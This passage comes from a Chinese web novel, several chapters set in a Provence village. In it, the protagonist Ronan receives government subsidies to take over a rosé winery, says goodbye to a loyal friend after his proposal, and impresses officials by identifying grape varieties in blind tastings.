一个巨大的惊喜就这样毫无征兆的出现在他的眼前!! 不过求婚成功的亢奋很好的保护住了罗南的大脑,他没有进入那种被惊喜和意外冲击到思绪混乱的状态.大脑仍可以思考。 “预算申请下来了?”罗南几乎是脱口而出,满脸喜悦。 可能罗南自己都没有意识到,他的第一反应居然是为卢尔马兰开心.而不是自己。 但这些全部被布兰科捕捉到了。 果然没有‘错付’,罗南值得! “是的,拿到了口头批复。”想到了乌龙事件,布兰科又补充了一句,“沃克吕兹省旅游局的官员已经驻在卢尔马兰指导工作了,预算正在途中,会分批于三个月内到账。” 昆西信誓旦旦的说,这次绝对不会错了。 如果又出了乌龙,那一定是数字又涨了! “太棒了,太棒了,太棒了!”罗南一连说了三句太棒了,每说一次都会拍一次手。 下一秒,他突然严肃下来: “灾害救助资金落实了吗?比例是多少。” 罗南没有问卢尔马兰拿到了多少扶持资金,因为那不是他该知道的事情。 但布兰科清楚,卢尔马兰拿到的每一分钱,都离不开面前的这个家伙。 布兰科拍了两下罗南因为兴奋而挥舞起来的胳膊: “那些事情你不用操心,我们先说眼前这件事。” “好。”此刻的罗南已经恢复到了正常情绪,他正襟危坐,认真听着布兰科接下来要说的东西。 一直到此刻,布兰科都拿不准罗南对酒庄的态度。 你说他冷静吧,他还惊叫了一次。 你说他兴奋吧他问的又一直是别的问题,一句酒庄不提。 为了万无一失,布兰科毫无保留的拿出了自己所有的诚意,态度诚恳的和求婚无异。 但是以卢尔马兰的视角向罗南‘求婚’。 “你应该知道,卢尔马兰拿到这笔扶持金有多不容易.振兴卢尔马兰是不容失误的事情,而就像你说的,这其中的关键是粉红酒,所以把酒庄交给其他人我不放心,只有你、也只能是你,政府会给你一笔100万法郎的传统工艺保护基金,用于购买斯特斯加的运营权和酿酒配方。” 罗南的心猛的停跳一拍。 100万法郎? 这比杰罗姆的标价还要多.而且布兰科说的是‘给’,不是借。 我的上帝,卢尔马兰到底得到了多少扶持资金? 不过这不是他该考虑的事情,他点头就要答应下来。 我愿意! 但布兰科不给他说话的机会,继续说道: “发展粉红酒是卢尔马兰今年最重要的事情,这也是沃克吕兹省对我们的要求,我们会在各个方面给足你支持,所以你不用担心无法胜任,首先政府会以1法郎的价格卖给你一块地皮,让你盖新的酿酒厂房。” 罗南的眼睛猛地瞪大了一圈。 多少钱? 1法郎? 我没听错吧?? 布兰科没有停歇的意思,继续说道: “基建配套你找人来设计和安排,但政府会承担水电接入费用,免除酒庄的各项许可证费用,除此之外,再免除酒庄5年的员工就业税,如果你雇佣的是失业村民,政府还可以给到30%的薪资补贴,时长是3年。” 虽然感觉脑袋一阵一阵发晕,但罗南还是强迫自己冷静下来,思考这些条款的实际意义。 卢尔马兰是乡村,新建筑的水电接入非常昂贵。 他后院那个工作室,只是接入了个水路就花了1万多法郎,如果是一片大空地,成本就更贵了,因为这里是山区。 罗南之前预估过这部分的花费,算上人力等等,至少需要10万。 许可证的费用就更加庞杂了,只是罗南知道的用水许可证就要8000法郎/年,其他的七七八八至少要也得几万。 餐厅每个月给员工缴纳的就业税要好几万,工资那就更是每个月的硬支出了,布兰科给到的政策是3-5年.也就是说,在接手斯特斯加的至少三年内,罗南的经济压力降到了最小。 冷静冷静,让我想想还有什么花钱的地方罗南大脑快速计算着。 牌子有了,地有了,还有厂房和设备 “还记得我和你说过的‘酒庄城堡’吗?未来卢尔马兰需要一个高端的住宿场所——”布兰科的话打断了罗南的思绪。 罗南意外的看过过去。 居然还没说完吗? 布兰科拿起他的杯子,把最后一点酒喝完,这预示着他终于要说完了: “未来旅游业发展起来,我们要覆盖各个圈层的游客,所以这个酒庄城堡我们一定会主持兴建,把它和你的葡萄酒庄连在一起怎么样?让游客们少走一些路。” 见罗南一脸木讷,布兰科俏皮的眨了下眼睛: “这样你就不用自己花钱盖酒庄了。” 厂房的钱也要给我出了吗?! 罗南停止了思考和计算,无比郑重的问: “政府拿出了这么多的资源,需要我做什么?我的意思是除了接下这个酒庄以外的事情。” 你们给的太多了!! 布兰科也同样郑重的问罗南: “你给妇女们工作机会、组织村民做手工、给农夫介绍国家森林局工作时,想过从他们身上得到其他什么吗?” “我——”罗南一时语塞。 布兰科突然和蔼的笑了起来: “这是卢尔马兰欠你的啊.你给大家提供了这么多帮助,现在轮到卢尔马兰回馈你了。” 感激已经不足以形容罗南的情绪,他攥着拳头说: “我一定会把斯特斯加经营好。” 布兰科拿起衣服,准备把罗南还给佐伊了: “不是你,而是我们,当卢尔马兰遇到困难时,你永远和我、希尔维、克劳德等人站到一起,如果未来酒庄遇到问题,请你不要忘记,你背后也永远有我、希尔维、克劳德和卢尔马兰,政府会再单独支持你一笔30万法郎的地区发展补贴——” 布兰科站起身,如释重负的拍向罗南的肩膀: “我猜这些钱应该够你把斯特斯加接过来了。” 布兰科曾经在内部会上说过,罗南已经为卢尔马兰做的足够多了,不想再让他操心,接下来的事情交给他,他要让罗南一点心都不用操的接下斯特斯加。 如果是几天前,扶持资金是430万时,布兰科还真没有那么大的底气,但现在补贴资金来到600万…… 这个承诺,他终于实现了。 第389章 最好的朋友 罗南把布兰科送到了葡萄园外。 如果不是家里还有许多客人要招待,罗南可能要把布兰科一路送回到他家门口。 这份订婚礼物实在太贵重了 不仅仅是钱和资源那么简单,还有政府对他的器重。 未来,他和卢尔马兰是真的‘不分你我’了。 “快回去吧!”布兰科对不肯离开的罗南说,“你再不回去,我都要后悔今天来找你了。” “你真的不留下吃点东西吗?我父母在准备了。”罗南又挽留了一次。 得到罗南要求婚的消息,罗天海和冯珍马上把餐厅关了,回家给大家准备吃的、准备喝的。 虽然是简餐,但留下一起热闹热闹啊。 布兰科摆了摆手: “旅游局的人给了很多任务,我得回去准备,你们玩的开心。” 罗南终于停下了脚步: “那好吧,明天一早我再去找你,路上小心点,我这附近没有路灯。” “路灯的安装已经在计划中了,你明天下午来吧,我介绍你和旅游局的官员认识,他正好也想见见你。”说完布兰科拍了一下罗南的胳膊,露出了熟悉的慈祥笑容,“祝你和佐伊永远幸福。” 罗南怎么会不幸福呢? 求婚成功,了却了心中的一桩大事。 之后又‘白捡’了一个斯特斯加酒庄.罗南现在绝对是普罗旺斯最幸福的人! 说白捡一点都不夸张。 传统工艺保护基金的100万法郎买完‘斯特斯加’的名字和酿酒配方后还有富裕,加上布兰科最后给的地区发展补贴30万,足可以买一整套手工设备了。 地,政府白给了。 厂房,政府免费给你建设。 管道费用和各种开发税免了,员工就业税免除5年,政府有可能还要承担一部分员工的工资. 罗南需要自己承担的只有种植成本和市场推广的费用。 不仅如此,说不定一两年后还能再得到一所高端的酒店? “你快掐我几下,看看我是不是在做梦。” 一回到家里,罗南不顾周围人的目光,从身后一把抱住了正和朋友们聊天的佐伊。 佐伊笑着摸了摸罗南的脸,没有说话。 但农夫们的口哨可吹起来了。 “人家佐伊都清醒过来了,你还做梦呢?” “罗南,我看你小子这是在催佐伊赶紧结婚吧?这么着急吗,今天才刚求婚啊。” “罗南着急也是情有可原,那可是佐伊啊,是卢尔马兰的璀璨明珠。” “现在是普罗旺斯的璀璨明珠了!” 罗南无视了周围的嘲笑声,把佐伊抱的更紧了: “我对我们的未来更有信心了.” 佐伊幸福的回头,坚定的说: “我也是,我们一定会越来越好的。” 今晚来罗南家的村民络绎不绝。 平时晚上8点村里早就黑了灯,但今天8点罗南家里里外外灯光通明。 村里两个最出息的孩子订了婚,这是和过节一样值得庆祝的日子,必须得来祝贺祝贺。 有人来送祝福是好事。 但这却苦了罗天海和冯珍老两口。 客人来了你得招待吧? 不管人家留不留下来吃一口,都得准备出来啊。 “罗南这个小兔崽子!”冯珍手里的菜刀砍的叮咣作响,“给佐伊惊喜就好了啊,我们岁数大了,这是惊吓!要不是家里是开餐厅的,食材都没地方凑!” 罗天海已经把面和好了,他擦了擦汗: “时间太赶,人又多,菜不够吃就吃面吧,汤我已经熬好了,你再切点肉,今天只能这样了。” 普罗旺斯人嗜甜,莉亚来帮忙烤了一点甜品。 她数了数托盘里的小蛋糕个数,有些担心的咂了下嘴,回头对正在小心翼翼刷碗的路易说: “你去把院子里的那个烤箱打扫一下,我再去那里烤一炉,我怕这些不够。” “好的亲爱的,我现在就去。”路易马上接下了新任务。 路易走了,但又有人顶上了他的工作。 见维埃里居然去刷碗了,莉亚催促道: “你先别刷碗了,把水果切了,给客人们送出去。” 这话她在几分钟前已经对维埃里说过一次了。 今天实在太紧急。 连维埃里都要当成大人用了。 维埃里回头对妈妈说: “托尔把所有的水果都洗完了,还切成了好看的果盘,那里不需要我了。” 罗天海、冯珍和莉亚异口同声的说: “托尔还在干活吗?快让他休息一下啊,他今天做了太多事情了!!” 送完布兰科,罗南又没找到托尔。 而亨利自责的说,每次他一不注意,托尔就会去屋子里帮罗南的父母做吃的或者去后院看看谁缺了酒根本停不下来。 那是罗南的同学,他也不敢做的太强硬。 罗南安慰了亨利两句,说没事。 之后在院子里转了两圈,终于在那条光路上找到了正蹲在地上捡花瓣的托尔。 “你在干什么?”罗南悄悄的走过去。 托尔回过头来,露出了一个憨厚无比的笑容: “捡花瓣啊,这条路太漂亮了,地上有花瓣不好看了。” 罗南主动给了托尔一个大大的拥抱: “谢谢你,我的朋友,你给了我人生中最美妙的一天,你把这里布置的太棒了,比我设计的好一万倍。” 托尔像熊掌一样的手掌拍着罗南的后背说: “你和佐伊就是童话故事里的王子和公主,你们的订婚仪式一定也要像童话故事里一样美好。” “谢谢.”罗南把托尔拉起来,“走吧,我父母和佐伊的父母准备好了食物,我们去吃点。” 托尔听话的跟着站了起来,不过他嘴里说的还是‘童话’里的生活。 “罗南,你们结婚的时候,可以考虑让佐伊踩着由玫瑰花铺成的长毯出现,那是公主们最喜欢的出场方式。” “好,我努力。” “宣誓的地方是由藤蔓和鲜花缠绕成的拱门下,最好穹顶上还挂着像萤火虫一样的灯笼。” “这个创意好,我可以自己做那些灯笼,一定非常好看。” “牧师宣布你们结为夫妻,门外的喷泉突然喷涌出晶莹的水花.” “这个可以实现吗?” “可以实现!你结婚的时候会邀请我吗?我来帮你布置结婚场地。” “当然了我的朋友,我不仅会邀请你,还会邀请你做我的伴郎。” “伴郎是什么?” “额简单来说,就是新郎最好的朋友。” 来祝贺的朋友多,但最后留下吃饭的人还是小情侣最熟悉的那几个。 以皮埃尔和特奥为代表的农夫、以歌迪亚和巴蒂为代表的艺术家、弗雷迪和阿兰几个父母辈的朋友,还有一位意外的朋友。 “卢卡斯,你这个家伙终于肯跟我们喝几杯了吗!”皮埃尔用胳膊夹住卢卡斯的脖子,‘生气’的捶了几下他的胸口。 卢卡斯也怼了皮埃尔一下: “也不看看今天是什么日子?我可能不来吗?” 罗南很感激卢卡斯的出现,激动的拍了他两下: “今天好好喝两杯。” “必须的!”特奥一口气开了六瓶红酒,“今天谁都别想轻易走出这个大门!!” 歌迪亚把头发扎了起来: “谁怕谁啊!都给我喝!!” 一年不见,托尔还是和孩子一样。 一坐到餐桌上,眼睛里就只有食物。 除了偶尔和罗南跟佐伊说两句话,他全程安安静静地吃饭,像是没有这个人似的。 但今天,托尔毫无疑问是最‘出彩’的那个家伙,所以罗南全程坐在他的身边,有好吃的好喝的第一个给佐伊,第二个就是给他了。 知道托尔平时一个人惯了,不太习惯、也不会和太多人同时社交,罗南贴心的说: “明天我带你在村子里转转,今年卢尔马兰和去年不一样了,出了很多好玩的东西,中午去我的餐厅吃饭,我让我爸爸给你做几道他最拿手的,下午我带你去采柠檬怎么样?到了吃柠檬的季节了。” 托尔是昨天下午到的。 看今天院子里的样子就知道,这24小时他绝对没闲着。 求婚的大事已经完成,他可以带托尔在这附近玩两天。 托尔突然放下叉子,满嘴冒油的说: “我明天一早就走了。” “明天一早就走?”连佐伊都惊呼出口了。 她还没来及好好感谢罗南的这个同学给了她最美妙的求婚仪式呢。 托尔笑了起来: “是啊,我得回去了,我看了你们的求婚仪式,要回巴黎上班了。” 罗南和佐伊互看了一眼,同时发现了对方眼神里的遗憾和不舍。 上一次托尔离开普罗旺斯时,就坚持不让罗南送他离开。 这一次他依然要自己走,而且这次他学乖了,提前订好了回去的车。 第二天一早,罗南在村口看到了一辆老皮卡。 担心托尔不懂‘人情世故’,趁他去货箱放东西时,罗南敲了敲玻璃,想和那司机聊两句。 车窗摇下,他马上‘咦’了一声。 这不是昨天在他家唱歌的那个乐队主唱吗? 昨天太忙了,他没有顾上和这几个人聊,但佐伊去给他们‘结算费用’时,这主唱说,那是免费的。 他们不过是这附近的业余‘乐队’,有唱歌的机会足够了。 “你和托尔认识?”罗南意外的问。 那司机笑着说: “并不认识,我在戈尔德附近看到这家伙的,他在阿维尼翁只能搭到去戈尔德的车,到了那里又找不到来卢尔马兰的,我看到他时他非常着急,脖子和脸都红了,求我带他去卢尔马兰,他用力拍着我的肩膀说,最好的朋友要求婚了,那是他唯一的朋友.我看这孩子有点可怜,又一听这里有唱歌机会,就把他带过来了。” 托尔坐上副驾驶: “回去吧,再见。” 罗南用力拉住副驾驶的门: “复活节或者劳动节一定要再来普罗旺斯好吗?” 车厢内发出熟悉的牛叫声: “下次我可以再这里待4、5天的样子。” 皮卡渐渐行驶起来,罗南小跑着跟在后面: “我提前给你准备好卡瓦永甜瓜,再买好糖奶油煎饼配料,上次我就没吃到!” “好的!”托尔探出头,憨厚的和罗南挥手。 第390章 你们卢尔马兰有个怪物! 把托尔送走后,罗南没有去餐厅、没有去巴蒂的院子,也没有去找佐伊,而是回到家里,思考接下来要干什么。 现在摆在他面前需要处理和解决的事情太多,而马上就要有一个非常重要的时间节点要到来——那就是4月初。 布兰科对罗南的承诺已经实现。 下一步,罗南要实现对皮埃尔的承诺了。 4月初葡萄藤出土前,要完成酒庄的接手、葡萄藤拔除计划的推行,试验田项目也要努力申请下来。 再配合着卢尔马兰政府给到的灾害补偿条款,罗南相信4月初的卢尔马兰村的上空依然会有笑声回荡,说不定能更加悦耳。 昨天布兰科不想占用太多的时间,没有讲很多关于斯特斯加的情况。 不过下午罗南要去政府再见一次布兰科,除了和旅游局的官员认识一下、询问酒庄的具体事宜外,罗南还想再详细的问问灾害补充计划并了解政府什么时候公布。 只有政府的灾害补偿条款公布了,罗南才好借此机会推行‘拔除计划’,给农夫们申请到第二笔补偿,再之后才有‘试验田’项目的落实和执行。 所以以上几点,都需要下午了解完足够的信息后才能推进,今天上午,罗南能做的事情只有一个——写申请。 粉红酒爱好者协会聚会上,朱莉特让罗南写一份详细的试验田项目申请书,这样她才好帮罗南做后续的‘运作’。 但纸和笔在面前放了许久.罗南迟迟没有动笔。 “上次应该问一问,这个申请里需要体现什么,朱莉特只跟我说写详细一点,别的东西也没告诉我啊。” 罗南抬头看了一眼时间,上午9点,朱莉特肯定离开家去工作了,而罗南只有朱莉特家的电话。 等到晚上给她打完电话再写,那么这一上午就浪费了而且今天是邮差特雷西在卢尔马兰活动的日子。 如果今天申请没有寄出去,下次要等到4天之后。 “要不然,先按照我的‘理解’写一份寄出去?”罗南咬着笔帽嘟囔,“然后今晚给朱莉特打电话确认一次,如果写的不对,之后再寄一份。” 罗南觉得这个计划可行,反正今天上午也没有其他重要的事情。 但是如何写呢? 即使是写作文,也要知道命题.但罗南完全不知道各级部门和学术机构对什么感兴趣。 “也不是完全不知道.”突然,罗南惊喜的把笔从嘴里拿出来。 那些提供技术知识的机构罗南不了解,但罗南了解朱莉所在农业部的工作方向。 她不止一次在罗南面前讲过,旧世界地区的‘葡萄酒湖’现象,拔除计划也是因此而生的。 而且这不只是朱莉特所在的沃克吕兹省农业部面临的问题.连欧洲共同体都下场了。 朱莉特还无意间提起过农业部今年的几个重要工作计划。 「申请理由:」 「丰富高价值葡萄品种的多元化,通过科学的手段提升葡萄抗旱耐寒能力,推动普罗旺斯地区葡萄酒向高端市场的转型,增强与新世界地区的抗衡能力」 午饭依然是去佐伊家吃的。 今天佐伊给罗南和维埃里做的午饭非常简单,只有一份普普通通的意面,连沙拉和水果都没有搭配。 而且她也拒绝罗南和维埃里做些别的。 “你的烹饪学习要结束了吗?”坦白的讲,维埃里和佐伊一样挑食。 以前他中午能吃饱,是因为种类丰富,总有一些是能吃的。 但如果以后的午饭都是这种标准,他会认真考虑中午是不是该换个地方吃饭了。 “烹饪练习先暂停几天。”佐伊只吃了几口就放下了叉子。 罗南大口大口的吃面: “你不用再学烹饪了,以后我来做饭。” “那不行,只是暂停几天,等我把手头的事情忙完会继续做的。”佐伊拿起纸巾擦了擦嘴。 “你接到什么新工作了吗?”罗南诧异的看过去。 之前没听说啊。 佐伊端着自己的盘子和餐具站起来,大步流星的去往厨房: “那可比工作重要多了亲爱的,我要去买做家具需要的机械工具、做陶瓷的工具、做玻璃的工具,那么大的工作室,我需要买的东西太多了你们吃完不用刷碗,泡到池子里就可以,我晚上回来刷,我先和歌迪亚去阿普特了。” 厨房里很快传来佐伊异常兴奋的尖叫: “对了,还有工作室的二楼!今天下午再去看看电视和冰箱!!” 维埃里‘同情’的看向罗南: “相信我,无论佐伊住多大的房子,都会很快把家填满,包括你的那个工作室。” 路易家已经在佐伊的影响下变成仓库了,屋子里的各个角落都堆积着不该出现在那里的东西。 维埃里猜,母亲莉亚希望罗南和佐伊能快点结婚,一定有一部分考虑是想让佐伊和她的那些东西能搬离出去。 维埃里挑食,佐伊的心已经飞去了阿普特,今天的意面几乎全部进了罗南的肚子。 罗南嘴巴鼓鼓的,满脸幸福的说: “如果购物能让你姐姐开心,那我就创造条件,让她永远有机会买下去。” 维埃里做了个“饶了我吧”的表情,拿着盘子和餐具逃离了这里。 罗南在后面喊住他: “伊莎贝尔要过生日了。” 维埃里脚步停了一下,继续向厨房走。 “就在3月底。”罗南笑着又喊了一句,之后大口大口的继续吃面。 无论佐伊做了什么,他都要消灭的干干净净! 佐伊这段时间要频繁的往来阿普特和艾克斯买东西,等她把工作室‘填满’,小情侣再开始装修房子。 而罗南的任务就是在这段时间里,尽可能多的处理酒庄和新葡萄的事情。 吃完午饭,罗南去了卢尔马兰政府大楼。 半个多月前罗南还来这里找过人,那个时候整个大楼里只有一个在偷懒抽烟的老皮雷。 这次再来,他发现这里又变样了——居然出现了不认识的生面孔,而且是好几个。 有一个脸生的年轻官员看了罗南一眼,语气不算多好的说: “政府只在周二和周四开放公民接待办公室,今天是周一,有什么问题或者要寻求什么帮助明天再来吧。” 说完,他快步进入了一间会议室内。 罗南尴尬的笑了两声,继续向着布兰科的办公室移动,在楼梯上又遇到了一个没见过的女生。 那女生把两只胳膊打开,阻拦罗南去二楼,不过语气还是挺好的: “请问有什么可以帮助你的吗?我们去一楼说吧,闲杂人等不可以去二楼。” 罗南笑着问她: “你是新入职的职员吗?” 那女孩点点头,红着脸说: “我是新来的实习生。” “难怪。”罗南很是友好的点点头,卢尔马兰政府早就该增添人手了。 这里的职员数量比餐厅的员工还少呢。 他乖乖的站在楼梯下没有再上去,不过指着二楼问: “能不能通知一下布兰科,说罗南来了。” 那女实习生的脸肉眼可见的更红了。 她才刚来三天,干的都是端茶倒水的杂活,只见过村长一次.你让我去敲村长的门? 而且你是什么人啊,一来就要见村长?? 虽然心里一肚子抱怨,但的语气依然友好: “村长正在忙,不如你先跟我说说,遇到什么问题了?” “我——”罗南不知道说什么好了。 我的问题你恐怕不能解决啊 罗南不想为难实习生,回头走向希尔维的办公室: “没事,你不用管我了。” 刚入职的新人责任心重啊.见罗南直接要拧门把手进入某个办公室,那女孩几乎是从一楼半跳下来的,只为把他拦住: “这位先生,你不可以进去!这里是政府办公楼,里面有机密!!” 罗南没有进去,但这声音惊动了办公室里的希尔维。 谁啊这是,怎么还有人大声喧哗呢? 她把门打开,看到罗南正被那女孩拽着往后拖,一脸‘生无可恋’。 “住手!”希尔维把罗南解救下来,紧张的询问他有没有事。 一见到希尔维这个反应,那实习生就知道自己‘好心办了坏事’,惹到了不该惹到的人物。 同部门的同事给她讲过,希尔维是卢尔马政府里可以排到前三的重要人物,她所掌管的市场管理中心是卢尔马兰最核心的部门之一,关乎未来卢尔马兰的村庄建设。 罗南摆了两下手,指了指楼上: “没事没事,小误会,我先上去了。” “快去吧,布兰科等着你呢。”希尔维陪着笑说。 那实习生更加紧张了。 希尔维在讨好他! 罗南消失在楼梯转角处之前,对希尔维抬了下下巴: “新招的实习生很不错,有礼貌还有责任心。” 目送罗南消失后,希尔维板着脸,看向那个实习生: “叫什么,哪个部门的?” 那实习生腿都软了 完蛋了,完蛋了! 我不会要被解雇吧?? 入职前,同在政府机关里工作的远方亲戚告诉她,卢尔马兰是一个非常有前景的村子,一定要抓住机会在这里好好表现。 但我才来三天啊! “康蒂娜行政部的实习生。”她的声音小到自己都快听不清了。 希尔维停顿了几秒: “之后来市场管理中心吧。” “什么?”康蒂娜像受惊的小鹿一样,后退了一步。 希尔维对康蒂娜招手,示意她跟上去: “我去跟勒克莱尔解释,之后再给行政部补一个实习生。” 直至完成了转组、坐到市场中心的办公室里,康蒂娜才意识到这一切是真的。 只是因为那个男人的一句夸赞,她就进入政府的核心部门了。 见希尔维只是看起来严厉,康蒂娜谨小慎微的问: “请问,我刚刚拦下的那个人是谁?” 她确认政府里没有这号人物,所有的职员她都见过。 希尔维的表情突然亢奋起来: “你是说罗南吗?罗南是卢尔马兰的未来,也是关乎卢尔马兰振兴的核心人物。” “未来.核心人物”康蒂娜小声的复述了一遍,“这么厉害吗?” 希尔维笑着指了指她: “记住,如果没有罗南,你不可能出现在这里,我指得不是这间办公室.而是卢尔马兰。” “如果没有你,我肯定不会出现在这里。”昆西放开了罗南的手,笑着说,“这可能就是命运吧。” 坦白讲,当昆西在卢尔马兰的办公室里看到罗南的照片,得知他就是那个对卢尔马兰影响非常大的村民后,非常后悔当时只接触了一次沃克吕兹省粉红酒爱好者协会。 如果坚定自己的判断,继续围绕这个协会做文章,也许他早就和罗南相识,卢尔马兰的粉红酒发展也早就开始了。 “命运真是神奇。”罗南也非常意外出现在这里的旅游局官员居然是昆西。 这人不就是那个求着伊内斯去劝说酿酒合作社申报粉红酒的官员吗? 正是因为这一次和昆西的会面,给了罗南旅游局想要保护粉红酒手工酿制技术的启示,才有了后面那些故事。 现在到好,成一个闭环了。 布兰科也同样很意外。 罗南的人脉也太强大了吧。 昆西他也认识? 随即布兰科联想到了罗南口中那个厉害的朋友、那位可以直接点出旅游局痛处的朋友。 突然,布兰科眉毛一皱。 这次旅游局突然加了预算不会是那位厉害的朋友在背后帮忙了吧? 他决定待会找罗南问问,看看他是否知道这件事。 另一边,昆西和罗南的对话还在继续。 两个人感慨了一番命运的神奇后,开始聊起了正事。 “旅游局对卢尔马兰的要求是,在明年旅游季开始前,完成粉红酒特色之路的全部建设,并开始围绕粉红酒为核心举行活动,例如粉红酒节等等,也就是说,今年秋天,属于卢尔马兰的第一批粉红酒要开始酿制,明年要上市售卖了。” 有葡萄才能酿酒,留给罗南的发展时间是9月之前的这几个月。 昆西表情复杂的看了一眼布兰科: “布兰科说,他把斯特斯加的经营权交给了你,我了解了你的过往,你只是喜欢喝粉红酒并在卢尔马兰营造出了很好的粉红酒氛围,但没有接触过酿酒我建议你尽快找到一位酿酒师,最好是把斯特斯加的酿酒师直接挖过来,如果无法执行,要尽快找到一位接替者。” 卢尔马兰没人懂粉红酒,可以说整个吕贝隆都没有什么人了解粉红酒,所以昆西没有影响布兰科的决策,支持他把斯特斯加交给对粉红酒无比痴迷的罗南。 但接手之后的事情,他就不能不管了。 斯特斯加属于中级酒庄。 在这种规模的酒庄中,除了主理人外,还有几个非常重要的人物。 从流程上讲,需要有一位种植或者采收的负责人,如果酒庄拥有自己的土地,那么从日常维护到修剪、施肥和采收判断,都将由他来主持。 第二位重要的人物就是酿酒师了。 酿酒配方是什么、橡木桶的管理、发酵的监控包括质检等等,全部由酿酒师来把控。 酿酒师的水平,直接代表酒庄的酿酒实力。 第三位重要人物是负责市场开拓的,这个角色可有可无,如果老板的人脉广阔,也可以不需要。 不过在高端酒庄里,这个角色的重要程度和酿酒师相当,厉害的市场负责人可以开拓出更多的本土和国际市场。 布兰科也同样认为罗南对酒庄完全不了解,是被自己‘逼’来的。 他耐心的给罗南解释了一番一个健康的中级酒庄应有的配置后,继续对罗南说道: “我让希尔维去接触斯特斯加时,询问过核心员工的情况,我们是希望这几个核心人物可以一起来的,但是杰罗姆反馈,那几位都把家安在了教皇新堡,如果新的厂房在那附近,那么这几位老员工可以跟着一起过来,如果距离太远他们大概率会在教皇新堡的其他酒庄里找工作。” 昆西点了点头,忧心忡忡的说: “教皇新堡的工作机会很多,情况并不容乐观,所以我的建议是尽快找到这个酿酒师的人选,如果没有这个人,你即使拿到配方也不会用啊。” 罗南耐心听完两人的话后,斟酌了好一会才开口: “我认为酿酒师并不是最着急的,着急的是工人从哪里来,刚刚两位所说的18个员工是对于以前的斯特斯加而言,但现在卢尔马兰的新斯特斯加要采用古老的纯手工酿制.这个人数一定需要更多,为了稳定性、为了质量,我需要先把人手的事情解决,在秋季之前对他们进行至少三个月的专业培训。” 说完,他感激端起咖啡,敬布兰科和昆西: “当然了,主要还是感谢两位领导把厂房的问题给我解决了,要不然我现在着急的事情就是这个了。” 布兰科和昆西交换了一下眼神: “人力确实也是问题之一,但那并不是最核心的,好的酿酒师可遇而不可求,我建议你把这件事提到最重要的位置。” 罗南放下咖啡杯,很谦虚的说: “其实你们拿到的消息并不准确,我懂酿酒,我当然希望有厉害的酿酒师加盟,而且我也会去找这个人,但如果实在没有人选,我也可以保证原先的品质不变,所以这一步的工作反而不是最着急的,重点应该放在别的地方。” “你懂酿酒?”布兰科和昆西异口同声的问,语气里满是震惊和意外。 罗南指着布兰科,理直气壮的说: “布兰科应该知道,我和斯特斯加的老板杰罗姆是好朋友,我经常去斯特斯加的教皇新堡厂房,而且我喝的也多啊。” “但是.爱喝和会酿酒的区别还是很大的吧。”昆西的表情有点难看了。 这个小伙子这么狂妄吗! 罗南看向桌子上冒着热气的咖啡,幽默的说: “天气热了,喝这种热的东西不舒服,要不然,我让人送几瓶冰镇的粉红酒过来?” 布兰科和昆西都傻眼了。 怎么突然要喝酒啊。 咱们在聊正事呢! 罗南看着昆西笑着说: “要不这样,您让人送几瓶酒来,聊了这么久,咱们休息一会,玩个游戏,别给我看酒瓶,看我能不能品出那酒是用什么葡萄酿的。” “你能品出粉红酒里的葡萄种类?”昆西的嗓音变得扭曲起来。 罗南笑着撇了撇嘴: “只喝粉红酒难度太低,普罗旺斯的粉红酒只用那么几种葡萄,再加上红葡萄酒和白葡萄酒吧.如果能找到其他产区的更好,要不然太简单了。” 昆西瞪大眼睛看向布兰科。 这人是个怪物吗?! 第391章 怎么哪里都有你们旅游局啊? 昆西和布兰科只是想确认罗南是否真的懂酒,并不想刁难他。 他们没有大费周章的找其他产区的酒,只让职员去杂货店买了10瓶在卢尔马兰大家不常喝的,而这其中有6瓶是粉红酒。 “这会不会太简单了?”罗南看着面前的10个杯子想。 在普罗旺斯,粉红酒的酿制组合就那么几个,主要是没有人愿意花心思研究粉红酒的结构.传统款都卖不明白,开发新的谁买啊。 在场的三人中,昆西认为自己是最懂粉红酒的,因为他研究粉红酒2年多了,时长大于布兰科和罗南: “不要小看这6杯粉红酒,里面‘陷阱’很多。” 布兰科同样认为自己是在场中最了解粉红酒的,从去年年底政府决定要建粉红酒博物馆起,他们就开始疯狂恶补粉红酒的知识。 为了给罗南减轻难度,布兰科好心提醒: “我先提醒你一下,这里面有单一葡萄酿制的,也有混酿的,成分最复杂的一款酒里有三种葡萄。” 才三种吗罗南在心中腹诽起来。 这也太看不起我这‘神之舌头’了吧? 算了算了,能达到目的就行。 罗南的目光先是停留在手边的6杯粉红酒中。 虽然同为粉红酒,但是这六杯的颜色各有不同,最深的一款已呈现出接近玫瑰花的深红,而最浅的那一杯只有一点浅浅的肉色,颜色的深浅是根据浸皮时间长短决定的。 他先拿起了颜色最浅的那一款,想要放在鼻尖闻一闻,不要忘记,罗南的鼻子也是很灵敏的! 不过罗南突然想起了初见西奥多尔的场景,那场在地窖里举行的‘神圣仪式’给他留下了极深的印象。 为了把自己的人设拉得更加‘高大立体’,罗南的手臂在半空中突然改变了方向,画了一个直径有半米那么大的圆弧。 这动作可把昆西和布兰科吓坏了。 他们下意识的向后躲闪身体,结果发现罗南拿着杯底又转了三圈,之后把酒杯举到与眼睛同高,仔细观察粉红酒旋转后沿杯壁缓缓流下的痕迹。 “嘶——”昆西倒吸一口凉气。 原来真的是在‘品’酒啊,只不过罗南的动作幅度格外大而已。 昆西好奇的把头探过去,跟着一起看杯壁上粉红酒的状态。 动作幅度大可以看的更清楚吗? 下一秒,罗南突然把鼻子靠近酒杯,鼻翼巨幅翕张起来,发出了清晰的吸气、呼气声。 布兰科的鼻子跟着罗南一起用力,随着罗南呼吸的节奏跟着呼吸起来,十几个来回后,只听罗南猛的吸入一大口气,之后终于停下,又转动了一次酒杯,喝下了第一口酒。 “怎么样?”布兰科忍不住问道。 但回答他的是‘漱口’的声音。 罗南把酒含在口中漱了几秒钟,又略微抿起嘴唇让些许空气进入嘴里,之后他腮帮子反复收缩鼓起、收缩鼓起.在五六个来回后,头才放下。 随后他抱起办公室里的垃圾桶,把酒全部吐了出去。 昆西眼前一亮。 罗南居然真是专业的? 那些厉害的品酒师都是这样品酒的! 而罗南说出来的话,也没有让两位领导失望: “只有草莓、红樱桃、蜜瓜的果香,但不够圆润,酸度中等,这款酒只用了歌海娜。” 昆西拿起那杯酒对应的酒瓶,欣喜的说: “没错,这是用单一歌海娜酿制出来的粉红酒。” 布兰科迫不及待的指向桌子上其他的杯子: “再尝尝其他的。” 一套同样的‘品酒’流程后,罗南擦了擦嘴边的酒渍,撇着嘴说: “和上一款比,多了一些玫瑰的花香,更加清新了,酸度也低了一些,这里面放了神索,是用歌海娜和神索混酿的。” “没错。”昆西点了点头。 